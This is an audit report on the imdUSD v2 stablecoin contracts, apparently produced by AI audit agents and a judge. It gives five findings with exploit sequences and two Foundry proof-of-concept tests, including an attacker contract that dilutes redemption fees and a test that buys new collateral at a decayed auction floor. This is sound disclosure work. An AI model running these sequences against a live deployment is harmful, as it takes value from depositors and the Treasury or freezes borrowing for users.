# Audit report

> RE-CHECK the wave-1 fixes in src/Ledger.sol, src/LedgerSettlement.sol, src/ImdUSD.sol, src/Redeemer.sol, src/Liquidator.sol, src/Treasury.sol, src/peg/FeeNotes.sol, src/backstop/Backstop.sol, and REVIEW THE DESIGN of every money path of the beta read together, the rule-driven src/peg/Allocator.sol and src/peg/PegHook.sol, at the pinned commit, for a capped mainnet beta.
>
> imdUSD v2 is a multi-collateral CDP stablecoin; this is its capped mainnet beta on Ethereum. Positions are NFT ids; borrowers set their own rate and redemptions take from the lowest rates first; liquidation is mark then bite, with a standing bid from Backstop sleeves; the peg pool is a Uniswap v4 pool with our own hook; prices come from Chainlink and swarm-attested feeds. README.md gives scope, invariants, trust model and known issues: read it first. This repository's first commit (2875ffb) was audited in wave 1; the second commit is the whole delta since (README 'What changed').
>
> BUILD AND TEST (required; Foundry, solc 0.8.26 via_ir per foundry.toml). Never build or test the whole project with solc: it needs about 49 GB. Run only this panel's tests: `forge test --match-path '{test/unit/AuditW1{Harvest,Circulating,PremiumBrake,PremiumLaunder,DeRiskNoRebind,NoteVsBadDebt,NoteAfterCover,RetireKeepsNotes},test/unit/{AllocatorRules,AllocatorAuctionBackstop,FullSystem,PegHook},test/invariant/Invariants}.t.sol'` (measured: about 4.8 GB peak, 9 minutes). With Foundry 1.9+, `forge test --use solar --no-match-path 'test/fork/*'` builds everything and runs all 1,267 tests in seconds under 1 GB (confirm a proof with solc). Write each proof as test/unit/Proof<Name>.t.sol, add it to the glob, run it, paste it with its output, then delete it: leave the tree unchanged.
>
> Wave 1's findings and proofs are public: GET https://api.imd.fun/jobs/<id>/submissions for jobs 59d97f98 (ledger, liquidation), 584aadc2 (treasury, backstop), bd0ce553 (oracles, depth), cd9184ac (governance), 561e7d5b (peg), 3d73817d (seats), 17e4edf1 (deploy), 4384ebcc (full system). For questions 1-4, re-run each original proof for these files against this commit and say whether it still fails, and why.
>
> Questions 5-8: For each: rank the options given (and any better one you find), try to refute ours with numbers or a test, and say what you would build, with its cost. Constraints: beta on 2026-12-07, code freeze about 2026-11-20 (only small contract changes before it); the Treasury holds almost no USDC; a swarm-attested answer costs 0.5 IMD and the IMD price leg may be at most 1 hour old. Report concrete defects as findings in the usual form.
>
> Answer each numbered question:
> 1. M1: health and liquidation now read the post-harvest state. Does every liquidation path (liquidate, bite, the standing bid, partial to target) see it, and can a harvest still move a healthy position into liquidation?
> 2. M2: circulating() is held at the outermost flash loan's start and the Redeemer reads before its burn. Any sequence (nested or sequential loans, another minter's burn, redemption inside a loan) that still deflates or inflates it?
> 3. Ledger lows: the charged rate change is held to the unbacked brake; the top-up premium stays at the rate before a cooldown chain's first change; a de-risking adjust keeps its risk version. Re-run the proofs; find the next cheapest variant.
> 4. Treasury, notes, Backstop: payNote waits while bad debt is booked; retireReserve keeps the notes' face; seat and stock sales cover bad debt in the same transaction; Backstop.deposit for someone else adds only to their slot of today. Can any still be front-run, starved or griefed, and does any fix block liquidation or redemption?
> 5. SUPPLY EQUATION AND THE LIQUIDATION MONEY PATH (README invariants): every mint and burn, mark, bite, standing bid, bad debt, the edge sleeve's first loss, the Treasury's cover, and collateral leaving a sleeve by the new auction. Value in must equal value out at every step; include flash-minted imdUSD into redemption, a caller liquidation, a Backstop deposit, the auction, peg swaps and PegPositionZap in one transaction.
> 6. RULE-DRIVEN ALLOCATOR (new since 2875ffb). Anyone calls startAuction / buyCollateral (103% of max(low, high, payout) to 98% of low over 2 h; new collateral stops the price until a restart; payment never under the sleeve's floor), rebalanceVault (Safe-set keepLiquid), topUpBuffer, rebalanceLp (fixed $1 band, spot-vs-TWAP gate), next to the hook's keeper; callers pick the moment and, where rules share a token, which spends it. Where can that be bought or sandwiched (a lagging low, a pushed live pool, a pushed TWAP, a vault donation, auction restarts, bucket windows), and do the bounds close it? Review the new code too.
> 7. PEG WITHOUT TREASURY USDC. Replay a depeg like v1's (one wallet borrowing and selling ~$10k in 500-unit lots into a pool with ~$2.5k per 0.25%) against PegHook's toll and buffer and redemption. Does the peg hold, how cheaply is it broken (split pushes pay ~1/3 of the toll), what smallest change makes it hold?
> 8. FREEZER. The Safe is the only freezer (no key holds a fast stop); each action's daily bucket bounds a loss until it signs. Is that a sound bound for each rule-driven action, and what should the beta's bucket sizes be?
>
> Not findings: README.md 'Known issues and accepted risks' (say so if you find one worse than written); src/bridge, src/dex, src/earn/LoopVault.sol, src/stocks (after the beta) unless a question names them; test/ and mocks; gas only.
>
> For every finding: severity by impact; file, line and the lines copied; the call sequence; a concrete failing state with expected against actual; whether it is reachable with script/DeployConfig.sol BetaConfig; the smallest fix; and a Foundry test that fails on this commit, RUN as BUILD says and pasted in full with its output (the judge reruns it). Answer every numbered question, including those where nothing is wrong.

| | |
|---|---|
| Repository | https://github.com/fa11up/imdusd-v2-audit.git |
| Commit | `5de80a6d895e020e1a4e790fd00b7248b34733da` |
| Job | `5fcd4063-312b-4b6f-aa7b-e848428876a7` |
| Judged | 2026-11-13 02:26 UTC |
| Findings | 2 medium · 3 low |

Four agents audited the code as it is at `5de80a6`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. Medium: Allocator auction staleness is a balance compare: collateral landing after an in-kind Backstop exit is sold at the run's decayed price (down to 98% of low) instead of from the top

`src/peg/Allocator.sol:707`

```
        if (IBackstopSale(backstop).coll(collateral) > auctionColl[k]) revert AuctionStale();
```

startAuction (line 335) and _auction (line 707) detect 'collateral the run has not offered' by comparing the sleeve's CURRENT holding Backstop.coll(token) with auctionColl[k], the holding recorded at the run's start and after each buy (line 366). But Backstop.withdraw pays matured exits pro rata IN KIND and lowers coll[token] (Backstop.sol:497-499, `coll[tokens[i]] -= collOut[i];`) without the Allocator seeing it. After any exit, the next liquidation's standing bid (Backstop.closeBid, `coll[token] += received;`) raises coll back up to the stale snapshot without exceeding it: _auction does not revert AuctionStale, startAuction reverts AuctionRunning while the run's clock lasts, and the fresh collateral is for sale at whatever price the run has decayed to. Once a run is older than 2 h it sits at 98% of `low` forever, so fresh liquidation collateral is sold at the floor the moment it lands, with no descent from 103% of max(low, high, payout). README ('Allocator'; 'Rule-driven Allocator actions' in Known issues) and the contract header promise the opposite: 'collateral that arrives later stops the price until anyone restarts the run, so it is always offered from the top'. A depositor who is also a buyer controls the moment: queue a withdrawal 7 days ahead, then in one transaction withdraw in kind, liquidate an unhealthy covered position into the sleeve's standing bid (permissionless Liquidator.liquidate) and buyCollateral at the floor, taking the top-to-floor gap (about 5% when high is near low, more in a rally where low lags) from the other depositors. Honest exits cause it too. Bounded by the BACKSTOP_SALE bucket and the sleeve's saleLimit; never below the sleeve's own 98%-of-low floor. Reachable with script/DeployConfig.sol BetaConfig: both sleeves have depositors who may exit, every covered type (ETH, wstETH, cbBTC, WBTC, stables) liquidates into them, and the auction is the only collateral exit once the Safe allowlists BACKSTOP_SALE. Merged from three specialists (audit_permissions 0c9a19db, audit_flow 636dd73c, audit_economics 34b9c6a6); all three proofs were run and fail on this commit for this reason. Smallest fix: key staleness on a monotonic arrivals counter rather than the balance. Backstop keeps `collIn[token] += received` in closeBid (and wherever collateral is credited); startAuction snapshots collIn and _auction treats `collIn > snapshot` as stale (a buy is not an arrival, so no re-snapshot on buy). Alternatively, Allocator-only, lower auctionColl to coll whenever coll reads below it before comparing (catches arrivals only above the pre-exit level, so it is weaker).

**Reproduction**

Real Backstop (blue sleeve) and Allocator; mocks only for the oracle (WETH low 2,000 / high 2,100 / payout 2,100), a no-bad-debt ledger view and the tokens; a helper plays the Liquidator's standing bid (openBid, burn the repaid debt from the sleeve, send the seized collateral, closeBid). Two depositors put in 100k and 300k imdUSD. A standing bid lands 100 WETH (repaid 190,000). startAuction (auctionColl = 100). The 100k holder requests an exit; 7 days later the run has long been at its floor (1,960). withdraw() takes 25 WETH in kind (coll 100 -> 75). The next liquidation's standing bid lands 25 new WETH (coll 75 -> 100 = auctionColl). Expected: auctionPrice reverts AuctionStale and the 25 new WETH are offered from 2,163 (103% of 2,100) after a restart. Actual: auctionPrice = 1,960 and buyCollateral(25 WETH) pays 49,000 imdUSD in the same block, 5,075 under the run's top and 1,000 under `low`. Run on this commit: forge test --match-path test/scratch/ProofAuctionExitHidesArrival.t.sol -vv -> [FAIL: new collateral sold at the decayed floor instead of AuctionStale (offer from the top)] test_collateralLandingAfterAnExitSellsAtTheFloor() (gas: 1034572). Logs: new WETH landed after the exit: 24.999999999999999999; auction price offered for it: 1960.0; paid by the buyer: 48999.999999999999998040; value at the run's top (2,163): 54074.999999999999997837.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Allocator} from "src/peg/Allocator.sol";
import {Backstop} from "src/backstop/Backstop.sol";
import {IBackstopOracle, ILedgerCover} from "src/backstop/IBackstop.sol";

contract XTok is ERC20 {
    constructor(string memory n) ERC20(n, n) {}

    function mint(address to, uint256 a) external {
        _mint(to, a);
    }

    /// The Ledger's minter burn (the standing bid burns the debt it repays from the sleeve).
    function burnFrom(address from, uint256 a) external {
        _burn(from, a);
    }
}

/// PricerOracle's surface: WETH low 2,000, high 2,100, payout 2,100.
contract XOracle is IBackstopOracle {
    function priceOf(address) external pure returns (uint256, uint256, bool) {
        return (2000e18, 2100e18, true);
    }

    function pricedAt(address) external view returns (uint256) {
        return block.timestamp;
    }

    function payoutOf(address) external pure returns (uint256) {
        return 2100e18;
    }
}

/// No bad debt booked anywhere.
contract XLedger is ILedgerCover {
    function cover(bytes32, uint256) external {}

    function ilkState(bytes32) external pure returns (uint128, uint128, uint256, uint64, uint128) {
        return (0, 0, 0, 0, 0);
    }
}

/// Plays the Liquidator's standing bid in ONE call (the bid's state is transient): openBid, the Ledger burns the repaid
/// debt from the sleeve and the Join sends the seized collateral, closeBid books it (Backstop.sol:571).
contract XLiquidator {
    function bid(Backstop sleeve, bytes32 ilk, XTok usd, XTok weth, uint256 repaid, uint256 seized) external {
        sleeve.openBid(ilk);
        usd.burnFrom(address(sleeve), repaid);
        weth.mint(address(sleeve), seized);
        sleeve.closeBid(ilk, repaid);
    }
}

contract ProofAuctionExitHidesArrival is Test {
    bytes32 constant ETH = "ETH";
    address gov = address(0x5AFE);
    XLiquidator liquidator;
    address holder = address(0xB0B);
    address other = address(0xA11CE);
    address buyer = address(0xB0E);
    XTok usd;
    XTok weth;
    Backstop sleeve;
    Allocator alloc;

    function setUp() public {
        vm.warp(1_800_000_000);
        usd = new XTok("imdUSD");
        weth = new XTok("WETH");
        liquidator = new XLiquidator();
        alloc = new Allocator(gov, address(0x7EA), gov, 100);
        sleeve = new Backstop(IERC20(address(usd)), new XLedger(), new XOracle(), false, "blue", "bBLUE");
        sleeve.wire(address(liquidator), address(0xFA2A), address(alloc));
        sleeve.addIlk(ETH, address(weth), 0, type(uint128).max, type(uint128).max);

        bytes32 sale = alloc.BACKSTOP_SALE();
        vm.startPrank(gov);
        alloc.propose(abi.encode(uint8(2), sale, address(sleeve))); // ADD_TARGET
        alloc.propose(abi.encode(uint8(1), sale, address(sleeve), uint128(1e30), uint128(1e30))); // SET_LIMIT
        vm.stopPrank();

        // Two depositors fund the sleeve; their buckets convert after a full day.
        _deposit(holder, 100_000e18);
        _deposit(other, 300_000e18);
        vm.warp(block.timestamp + 48 hours + 1);
        alloc.applyPending(2);
        alloc.applyPending(1);
        sleeve.realize(holder);
        sleeve.realize(other);
    }

    function _deposit(address who, uint256 a) internal {
        usd.mint(who, a);
        vm.startPrank(who);
        usd.approve(address(sleeve), a);
        sleeve.deposit(a, who);
        vm.stopPrank();
    }

    /// The standing bid exactly as Liquidator.bite drives it: openBid, the Ledger burns the repaid debt from the sleeve and
    /// sends the seized collateral (Join.exit), closeBid books it (Backstop.sol:571 `coll[token] += received`).
    function _standingBid(uint256 repaid, uint256 seized) internal {
        liquidator.bid(sleeve, ETH, usd, weth, repaid, seized);
    }

    function test_collateralLandingAfterAnExitSellsAtTheFloor() public {
        // A liquidation lands 100 WETH (debt 190,000 repaid, penalty 5%). Anyone starts the run; it reaches its floor.
        _standingBid(190_000e18, 100e18);
        alloc.startAuction(address(sleeve), address(weth));
        uint256 hs = sleeve.balanceOf(holder);
        assertGt(hs, 0, "holder's bucket converted");
        vm.prank(holder);
        sleeve.requestWithdraw(hs);
        vm.warp(block.timestamp + 7 days);
        assertEq(alloc.auctionPrice(address(sleeve), address(weth)), 1960e18, "run at its floor, 98% of low");

        // The holder's matured exit takes its pro-rata WETH in kind (coll falls), then the next liquidation's standing bid
        // lands the same amount of NEW collateral. coll is back at the run's snapshot, never above it.
        uint256 before = sleeve.coll(address(weth));
        vm.prank(holder);
        sleeve.withdraw(holder);
        uint256 exited = before - sleeve.coll(address(weth));
        assertGt(exited, 24e18);
        _standingBid(exited * 1900, exited); // debt repaid 1,900 per WETH (5% penalty at low 2,000)
        assertEq(sleeve.coll(address(weth)), before);

        // README: "collateral that arrives later stops the price until anyone restarts the run, so it is always offered from
        // the top" (103% x 2,100 = 2,163). EXPECTED: AuctionStale. ACTUAL: the new WETH is for sale at the floor.
        try alloc.auctionPrice(address(sleeve), address(weth)) returns (uint256 p) {
            usd.mint(buyer, 1e24);
            vm.startPrank(buyer);
            usd.approve(address(alloc), type(uint256).max);
            uint256 pay = alloc.buyCollateral(address(sleeve), address(weth), exited, type(uint256).max);
            vm.stopPrank();
            emit log_named_decimal_uint("new WETH landed after the exit", exited, 18);
            emit log_named_decimal_uint("auction price offered for it", p, 18);
            emit log_named_decimal_uint("paid by the buyer", pay, 18);
            emit log_named_decimal_uint("value at the run's top (2,163)", exited * 2163, 18);
            assertTrue(false, "new collateral sold at the decayed floor instead of AuctionStale (offer from the top)");
        } catch (bytes memory err) {
            assertEq(bytes4(err), Allocator.AuctionStale.selector, "new collateral stops the price");
        }
    }
}
```

### 2. Medium: Redemption fee ramp and base-rate rise are diluted by real debt minted earlier in the same transaction and repaid before it ends

`src/Redeemer.sol:157`

```
        uint256 supply = ImdUSD(address(token)).circulating();
```

The wave-1 fix holds circulating() at the outermost flash loan's start so a native flash mint cannot dilute the fee ramp, but ImdUSD.circulating() (src/ImdUSD.sol:153-163: `net = supply - inFlight; return net > start ? net : start`) still counts every REAL mint made inside the transaction. A redeemer borrows first (any type with own or flash-loaned collateral, or PegPositionZap.open which borrows 1:1 against USDC on the beta's 25k PEG line), redeems, then repays the borrow in the same transaction. Both the fee ramp (_fee, lines 157-159) and the base-rate rise after the burn (redeem, lines 147-151: `supplyBefore = circulating()`) divide by the inflated supply. The redeemer pays a smaller fee (the fee's collateral is Treasury revenue) and leaves the type's base rate lower than a redemption of that size should, weakening the throttle that protects low-rate borrowers from a run. Cost to the redeemer: the borrow's upfront fee and minimum interest (PEG at 0.5%: about 2.4 imdUSD on 25,000 for 7 days) plus zap round-trip costs; the saving is up to (FEE_CAP - floor - decayed base) x amount. With BetaConfig: a 9,000 redemption against sIMD (redeemDivisor 2) at a 90,000 supply pays 5% honestly and about 3.4% with 25,000 of transient PEG debt (about 144 imdUSD saved for about 3 of cost); with ETH collateral the inflation is bounded by the ETH line (50,000). The README's known issue covers only the opposite direction (outside imdUSD DEFLATING the supply, which only hurts the redeemer); inflation by transient real debt benefits the redeemer and is not written. Reachable with script/DeployConfig.sol BetaConfig (PEG positions on from day 1). Smallest fix: make the fee base insensitive to same-transaction mints, e.g. have ImdUSD record totalSupply() in a transient slot on the first mint/burn of the transaction and have circulating() return min(net, that start), or snapshot in the Redeemer and use min(circulating(), snapshot) in _fee and redeem.

**Reproduction**

State: ETH type (mat 1.5, redeemDivisor 2, redeemFloor 0.5%), alice owes 90,000 imdUSD, 30 days after launch (base rate decayed). Attacker, in one transaction: open a position borrowing 90,000 against WETH, call Redeemer.redeem(ETH, 9,000, 1e18, 10, 0), repay the 90,000 and withdraw the WETH. Expected: feeFor(ETH, 9,000) inside the transaction = fee at rest = 0.5% + decayed + 9,000/90,000/2 = 5% (cap), and the base rate after rises by 5%. Actual on this commit: fee = 0.5% + decayed + 9,000/180,000/2 ~ 3%, base rate rises by 2.5%; totalSupply after the transaction = supply at rest - 9,000 (the borrow left nothing behind). Run: forge test --match-path test/scratch/ProofRedeemFeeDilution.t.sol -vv -> [FAIL: the fee read inside the transaction equals the fee at rest: 29924883711104473 != 50000000000000000] test_sameTransactionBorrowLowersTheRedemptionFeeAndBaseRate() (gas: 1699386).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ImdUSD} from "src/ImdUSD.sol";
import {Parameters} from "src/Parameters.sol";
import {ParametersBase} from "src/ParametersBase.sol";
import {Pricer} from "src/Pricer.sol";
import {Treasury, ICoverable} from "src/Treasury.sol";
import {PositionNFT} from "src/PositionNFT.sol";
import {Ledger} from "src/Ledger.sol";
import {IPulse} from "src/LedgerBase.sol";
import {Redeemer} from "src/Redeemer.sol";
import {Liquidator} from "src/Liquidator.sol";
import {Migrator} from "src/Migrator.sol";
import {Join} from "src/Join.sol";
import {IFeed} from "src/interfaces/IFeed.sol";
import {Adjust} from "src/interfaces/IPositions.sol";

contract PdTok is ERC20 {
    constructor() ERC20("WETH", "WETH") {}
    function mint(address to, uint256 a) external { _mint(to, a); }
}

contract PdFeed is IFeed {
    uint256 public value;
    uint64 public at;
    constructor(uint256 v) { value = v; at = uint64(block.timestamp); }
    function latestValue() external view returns (uint256, uint64) { return (value, at); }
    function isStale() external pure returns (bool) { return false; }
    function maxAge() external pure returns (uint256) { return 1 hours; }
}

/// @dev One transaction: borrow `inflate` on a fresh position (real mint), redeem `amount`, repay the borrow and take the
/// collateral back. The borrow exists only inside this transaction, yet it is counted in `circulating()` by both the
/// fee ramp and the base-rate rise of the redemption.
contract PdAttacker {
    ImdUSD immutable usd;
    Ledger immutable ledger;
    Redeemer immutable redeemer;
    constructor(ImdUSD u, Ledger l, Redeemer r) { usd = u; ledger = l; redeemer = r; }

    function run(bytes32 ilk, IERC20 weth, uint256 coll, uint256 inflate, uint256 amount)
        external
        returns (uint256 collateralOut, uint256 feeSeen)
    {
        weth.approve(address(ledger), type(uint256).max);
        usd.approve(address(ledger), type(uint256).max);
        // A high rate: the redemption takes from the lowest rates first, so it visits alice, not this position.
        uint256 id = ledger.open(ilk, 0, Adjust(int256(coll), int256(inflate), 0.5e18, 0, 0, false, type(uint256).max, address(0)));
        feeSeen = redeemer.feeFor(ilk, amount);
        (, collateralOut) = redeemer.redeem(ilk, amount, 1e18, 1, 0);
        ledger.adjust(id, Adjust(-int256(uint256(ledger.position(id).collateral)), -int256(ledger.debtOf(id)), 0, 0, 0, false, type(uint256).max, address(0)));
    }
}

/// @notice `circulating()` is raised by real debt minted earlier in the same transaction, so a redeemer who borrows (PEG zap,
/// any type, repaid before the transaction ends) pays a lower redemption fee and leaves a lower base rate than the supply
/// at rest allows. Expected: the fee and the base-rate rise of a redemption do not depend on debt that exists only inside
/// the redeemer's own transaction.
contract ProofRedeemFeeDilutionTest is Test {
    bytes32 constant ETH = "ETH";
    ImdUSD usd;
    Ledger ledger;
    Redeemer redeemer;
    PdTok weth;
    address alice = makeAddr("alice");

    function setUp() public {
        vm.warp(1_800_000_000);
        usd = new ImdUSD(address(this), 100_000e18);
        Parameters params = new Parameters(makeAddr("gov"), address(this));
        Pricer pricer = new Pricer(params);
        Treasury treasury = new Treasury(makeAddr("gov"), IERC20(address(usd)), address(this));
        PositionNFT nft = new PositionNFT(address(this));
        ledger = new Ledger(usd, params, pricer, address(treasury), address(this), IPulse(address(0)), nft);
        nft.bind(address(ledger));
        redeemer = new Redeemer(ledger);
        ledger.wire(address(redeemer), address(new Liquidator(ledger, pricer)));
        usd.wire(address(ledger), address(new Migrator(IERC20(address(new PdTok())), usd, params)), address(params));
        params.wire(address(ledger), address(usd));
        treasury.wire(ICoverable(address(ledger)));
        weth = new PdTok();
        Join join = new Join(address(weth), address(this));
        join.wire(address(ledger));
        PdFeed feed = new PdFeed(2000e18);
        params.addGenesisIlk(
            ETH,
            ParametersBase.Config({
                token: address(weth), join: address(join), median: feed, spot: feed, nhi: IFeed(address(0)),
                yieldRate: address(0), pegAggregator: address(0), liveSpot: IFeed(address(0)), redeemable: true,
                auction: false
            }),
            ParametersBase.Risk({
                mat: 1.5e18, chop: 0.1e18, cut: 0.5e18, chip: 0.1e18, rateFloor: 0.01e18, yieldFee: 0, skew: 0.05e18,
                pegFloor: 0, line: 1_000_000e18, dust: 100e18, redeemFloor: 0.005e18, redeemDivisor: 2, redeemCap: 0
            })
        );
        params.seal();
        // The honest book: alice owes 90,000 at 5%. The type's base rate has decayed from its launch value.
        weth.mint(alice, 100e18);
        vm.startPrank(alice);
        weth.approve(address(ledger), type(uint256).max);
        ledger.open(ETH, 0, Adjust(100e18, 90_000e18, 0.05e18, 0, 0, false, type(uint256).max, address(0)));
        vm.stopPrank();
        vm.warp(block.timestamp + 30 days);
    }

    function test_sameTransactionBorrowLowersTheRedemptionFeeAndBaseRate() public {
        uint256 amount = 9_000e18;
        uint256 supplyAtRest = usd.totalSupply();
        uint256 honestFee = redeemer.feeFor(ETH, amount);
        uint256 honestOut = (amount * 1e18 / 2000e18) * (1e18 - honestFee) / 1e18;

        PdAttacker a = new PdAttacker(usd, ledger, redeemer);
        weth.mint(address(a), 100e18);
        deal(address(usd), address(a), amount + 1_000e18); // the imdUSD to redeem, plus the re-borrow's upfront fee
        (uint256 out, uint256 feeSeen) = a.run(ETH, IERC20(address(weth)), 100e18, 90_000e18, amount);

        // The position is gone again: the supply is back where it was, less the redemption (plus the borrow's upfront fee,
        // under 1%, which was minted to the Treasury).
        assertApproxEqRel(usd.totalSupply(), supplyAtRest - amount, 0.01e18, "nothing of the attacker's borrow is left");
        assertEq(feeSeen, honestFee, "the fee read inside the transaction equals the fee at rest");
        assertLe(out, honestOut, "the redeemer does not receive more collateral than an honest redemption pays");
        (uint192 base,) = redeemer.rates(ETH);
        uint256 honestBase = redeemer.decayedBaseRate(ETH) + (amount * 1e18 / supplyAtRest) / 2;
        assertEq(uint256(base), honestBase, "the base rate rose by the redeemed share of the supply at rest");
    }
}
```

### 3. Low: Any new standing-bid arrival resets the whole collateral auction to the top before the floor: a dust self-liquidation (about 9 imdUSD) restarts the run and keeps the sleeve's collateral unsold indefin

`src/peg/Allocator.sol:335`

```
        if (s != 0 && block.timestamp < s + AUCTION_DURATION && held <= auctionColl[k]) revert AuctionRunning();
```

README accepts a restart once a run has reached its floor (up to 2 h per restart). A run can also be reset BEFORE the floor by anyone who makes the sleeve buy new collateral: startAuction accepts a restart whenever `held > auctionColl[k]` and _auction (line 707) refuses every buy until it is restarted, and the restart re-offers the ENTIRE holding from 103% of max(low, high, payout), not only the new amount. Any borrower can manufacture an arrival: open a position on a sleeve-covered type with collateral just at the health boundary (the borrow check passes at equality), wait one block so accrued interest makes it unhealthy, and call Liquidator.liquidate(id): on a no-grace beta type it marks and bites in one call (Liquidator.sol:224-228), and with q.agree and bidRoom >= need the standing bid buys the collateral (Liquidator.sol:166-177) and Backstop.closeBid raises coll[token]. The cost is the chop on a dust position: debt 100 imdUSD (BetaConfig dust) x chop 10% = 10 imdUSD, of which the attacker-as-marker gets the chip back; about 9 imdUSD per reset (5 on a chop-5% type). A keeper who wants liquidations to fall to the caller path (the penalty is theirs there) keeps the sleeve's imdUSD from being replenished by resetting its collateral auction every 90 minutes for about 150 imdUSD a day; depositors hold collateral they cannot convert and the standing bid runs dry. No value leaves the protocol; this bounds it at low. Smallest fix: on a restart offer only the new amount from the top (track the offered amount, not the holding), or require a minimum new amount (e.g. 1% of the holding) before a running auction may be restarted.

**Reproduction**

Blue sleeve holds 10 WETH, run started, 90 minutes elapsed (price 1,985 with low 2,000). Attacker opens an ETH position with 0.075 WETH and 100 imdUSD of debt at low 2,000 and mat 1.5 (0.075 x 2,000 = 150 = 100 x 1.5), one block later calls Liquidator.liquidate(id). Expected (README): the run continues to its floor at 2 h and only genuinely new collateral is offered from the top. Actual: the standing bid buys about 0.0825 WETH, Backstop.coll = 10.08 > auctionColl = 10, buyCollateral reverts AuctionStale, startAuction succeeds at once (line 335: held > auctionColl) and the price is back to 2,060 for all 10.08 WETH; repeating every 90 minutes keeps the collateral unsold for about 9 imdUSD per reset. Verified against the code paths (Allocator.sol:335, 366, 707; Backstop.closeBid `coll[token] += received;`; Liquidator.sol:166-177, 224-228); no test was written for this low.

### 4. Low: retireReserve is permissionless and keeps nothing for bad-debt cover: anyone can burn the Treasury's reserve-backed imdUSD one block before a liquidation books bad debt, shrinking the same-transaction

`src/Treasury.sol:143`

```
        if (ledger.totalBadDebt() != 0) revert BadDebtOutstanding();
```

retireReserve (Treasury.sol:142-148) refuses only while bad debt is ALREADY booked and keeps only the fee notes' outstanding face. The Treasury's imdUSD balance is at the same time the system's bad-debt cover: LedgerBase.unbacked() (line 227) reads token.balanceOf(treasury), and Liquidator._cover -> Treasury.coverBadDebt spends it in the liquidation's own transaction. So a liquidation about to book bad debt can be front-run by retireReserve(reserveBacked): the reserve-backed imdUSD is burned (solvency-neutral, the Treasury keeps the yield shares), the cover in the liquidation's transaction finds a smaller balance, the uncovered rest is unbacked, and once it exceeds Parameters.unbackedBrake x circulating, Ledger._checkBrake (LedgerBase.sol:324-330) reverts Braked on new debt for EVERY type until the Safe sells shares for imdUSD and covers (48 h payout timelock) or a third party burns against the hole. Cost to the griefer: gas. This makes the README's accepted 'global brake beyond sleeve plus Treasury' reachable with a smaller loss than the Treasury balance suggests. It does not block liquidation or redemption (the cover is best effort). Smallest fix: make retireReserve governor-only (it is the yield burn path, not time-critical), or keep a cover reserve besides the notes' face.

**Reproduction**

State (BetaConfig shape, a yield type listed so harvest has credited reserveBacked): Treasury holds 5,000 imdUSD, Ledger.reserveBacked = 4,500, unbackedBrake = 1% of a 300,000 circulating supply (3,000), blue type (no edge cover). An ETH position is about to be liquidated with 3,500 imdUSD of bad debt. Sequence: (1) griefer calls Treasury.retireReserve(4_500e18): totalBadDebt == 0 so it passes, Ledger.retire burns 4,500, Treasury balance 500. (2) Liquidator.liquidate(id) books bad 3,500; _cover -> coverBadDebt covers 500; unbacked() = 3,000 + overshoot. Expected without step 1: cover of the full 3,500 (balance 5,000 >= 3,500), unbacked 0, borrowing open. Actual: unbacked > allowed and Ledger.adjust with dDebt > 0 reverts Braked on every type until someone covers. Verified against Treasury.sol:142-148, Ledger.sol:359-361, LedgerBase.sol:227-231 and 324-330; no test was written for this low.

### 5. Low: Launch-day redemption floor: a never-redeemed type's base rate starts at the 5% cap from the seal, so for the first ~40 h nothing in the beta bids under about $0.95-0.99 and a -1% depeg costs about $6

`src/Redeemer.sol:90`

```
            base = FEE_CAP;
```

Question 7 (peg without Treasury USDC). decayedBaseRate (Redeemer.sol:83-94) treats a type never redeemed as if a redemption had just happened at Parameters.listedAt (the seal for every genesis type): base = FEE_CAP (5%) decaying with a ~12 h half-life. With BetaConfig (redeemFloor 0.5% on ETH/BTC/sIMD types, 0.1% on stable types) the fee reads 5.0% at the seal, 3.0% at +12 h, 1.75% at +24 h, 1.125% at +36 h and falls under 1% only after ~40 h, so the arbitrage floor of imdUSD is $0.95-0.99 for the first ~40 h. In that window the beta has no other below-peg bid: keeperCap and bufferTarget are 0 at genesis (DeployConfig.sol:425), the Treasury holds almost no USDC, so PegHook.buffer is 0 and withdraw() has nothing outstanding to burn. PegHook's toll (src/peg/PegHook.sol:567-584) is 0 inside +-0.25%, ramps linearly to SOFT_CAP (1.5%) at -1% (WALL_BPS 100) and starts the wall only past -1%, priced on the END price of each swap. Replaying v1's depeg (~$2.5k of depth per 0.25%, 500-unit lots): lots 1-5 (to -0.25%) pay nothing; lots 6-20 end at 30..100 bp and pay 1.5% x (d-25)/75 each (0.1%..1.5%, average 0.8%), about $60 on $7.5k, against $150 for one $10k swap to the same price (splitting pays about 40%). Past -1% the wall works (the next $10k to -2% pays about $1,250). Consequence: for roughly the first two days imdUSD can be held about 1% below par for a two-digit dollar toll and nothing contract-side pulls it back while the redemption fee is above 1%. No protocol funds are lost; the Redeemer docstring states the cap start as a feature, but the interaction with the toll wall and the unfunded buffer at launch is not in README Known issues. Merged from audit_permissions 66ed911e and audit_math e2edc223. Smallest changes, in order of cost: (a) no code: seal and list genesis types at least 68 h before the lines open (the base decays from the seal); (b) one line: start an unredeemed type's base at the toll wall (e.g. 0.01e18) or at redeemFloor instead of FEE_CAP; (c) have the Safe set bufferTarget in the setup BATCH and fund the buffer with launch USDC; (d) after the freeze, price the toll on the swap's path so a split push pays the whole toll.

**Reproduction**

